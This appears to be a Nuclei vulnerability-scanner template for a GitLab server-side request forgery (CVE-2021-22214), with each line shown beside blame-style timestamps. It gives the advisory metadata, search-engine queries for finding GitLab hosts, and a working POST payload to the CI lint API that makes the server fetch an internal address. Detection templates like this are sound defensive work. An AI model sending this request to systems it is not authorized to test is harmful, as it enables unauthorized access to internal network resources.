2021-06-18 09:12:13 +00:00
id : CVE-2021-22214
2022-03-04 13:50:03 +00:00
2021-06-17 12:43:03 +00:00
info :
2022-06-27 18:32:41 +00:00
name : Gitlab CE/EE 10.5 - Server-Side Request Forgery
2022-04-22 10:38:41 +00:00
author : Suman_Kar,GitLab Red Team
2021-09-10 11:26:40 +00:00
severity : high
2022-03-04 02:04:56 +00:00
description : |
2022-06-27 16:28:50 +00:00
GitLab CE/EE versions starting from 10.5 are susceptible to a server-side request forgery vulnerability when requests to the internal network for webhooks are enabled, even on a GitLab instance where registration is limited. The same vulnerability actually spans multiple CVEs, due to similar reports that were fixed across separate patches. These CVEs are :
2022-03-04 02:04:56 +00:00
- CVE-2021-39935
- CVE-2021-22214
- CVE-2021-22175
2023-09-27 15:51:13 +00:00
impact : |
Successful exploitation of this vulnerability can lead to unauthorized access to internal resources, potential data leakage, and further attacks on the system.
2023-09-06 12:09:01 +00:00
remediation : |
Upgrade Gitlab CE/EE to a version that is not affected by the vulnerability (10.6 or higher).
2021-08-18 11:37:49 +00:00
reference :
2021-08-19 14:44:46 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2021-22214
2022-03-04 02:04:56 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2021-39935
- https://nvd.nist.gov/vuln/detail/CVE-2021-22175
2021-08-19 14:44:46 +00:00
- https://vin01.github.io/piptagole/gitlab/ssrf/security/2021/06/15/gitlab-ssrf.html
- https://docs.gitlab.com/ee/api/lint.html
2021-09-10 11:26:40 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
2022-04-22 10:38:41 +00:00
cvss-score : 8.6
2023-07-11 19:49:27 +00:00
cve-id : CVE-2021-22214
2021-09-10 11:26:40 +00:00
cwe-id : CWE-918
2024-03-23 09:28:19 +00:00
epss-score : 0.09317
2024-05-31 19:23:20 +00:00
epss-percentile : 0.94683
2023-09-06 12:09:01 +00:00
cpe : cpe:2.3:a:gitlab:gitlab:*:*:*:*:*:*:*:*
2022-04-22 10:38:41 +00:00
metadata :
2023-04-28 08:11:21 +00:00
max-request : 1
2023-07-11 19:49:27 +00:00
vendor : gitlab
product : gitlab
2024-06-07 10:04:29 +00:00
shodan-query :
- http.title:"GitLab"
- cpe:"cpe:2.3:a:gitlab:gitlab"
- http.title:"gitlab"
2024-05-31 19:23:20 +00:00
fofa-query : title="gitlab"
google-query : intitle:"gitlab"
2024-01-14 09:21:50 +00:00
tags : cve2021,cve,gitlab,ssrf
2022-03-04 13:50:03 +00:00
2023-04-27 04:28:59 +00:00
http :
2022-03-04 02:04:56 +00:00
- method : POST
path :
- "{{BaseURL}}/api/v4/ci/lint?include_merged_yaml=true"
2022-03-04 13:50:03 +00:00
body : |
{"content": "include:\n remote: http://127.0.0.1:9100/test.yml" }
2023-07-11 19:49:27 +00:00
headers :
Content-Type : application/json
2022-10-07 21:27:25 +00:00
host-redirects : true
2022-03-04 02:04:56 +00:00
max-redirects : 3
2021-06-17 12:43:03 +00:00
matchers :
2021-06-18 09:32:17 +00:00
- type : word
2022-03-04 02:04:56 +00:00
part : body
2021-06-18 09:32:17 +00:00
words :
2022-03-17 17:01:45 +00:00
- "does not have valid YAML syntax"
2024-06-08 16:02:17 +00:00
# digest: 4a0a00473045022100beb0cc714314ba14ce466fd0f6523c5f15dbc02dddfc151db7eafb4c16cdb913022012cb7681b369fbf099d6177e73af3d1e11ea5daa334a270a67e16b7f8c36b3bc:922c64590222798bb761d5b6d8e72950